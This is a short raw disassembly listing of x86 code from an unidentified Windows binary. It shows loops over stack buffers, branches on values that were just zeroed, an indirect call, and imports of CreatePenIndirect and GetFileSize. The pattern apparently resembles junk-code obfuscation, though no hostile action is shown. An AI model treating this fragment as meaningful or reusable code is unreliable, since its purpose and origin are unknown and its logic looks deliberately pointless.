mov dword [eax], esi
xor eax, eax
mov dword [ebp - 0x18], eax
pop esi
jmp 0x1001f86b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x6d8], 0x9aeb9d37
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1001f85a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa3c]
call fcn.10011c8c
xor eax, eax
mov dword [ebp - 0x24], 0x3eca
push 3
mov dword [ebp - 0x14], eax
pop ebx
cmp dword [ebp - 0x14], ebx
jge 0x1001f8ab
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1128], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1001f893
xor eax, eax
inc dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
jmp 0x1001f8f6
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x18], eax
jl 0x1001f8d9
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001f8d4
push eax
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
xor eax, eax
dec dword [ebp - 0x18]
jns 0x1001f8c2
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x18], eax
jl 0x1001f8f3
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001f8ee
call edi
xor eax, eax
dec dword [ebp - 0x18]
jns 0x1001f8e1
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jle 0x1001f8b3
mov dword [ebp - 0x14], 0x841b3c69
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001f915
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
xor eax, eax
push 5
pop edi
mov dword [ebp - 0x14], edi
jmp 0x1001f97d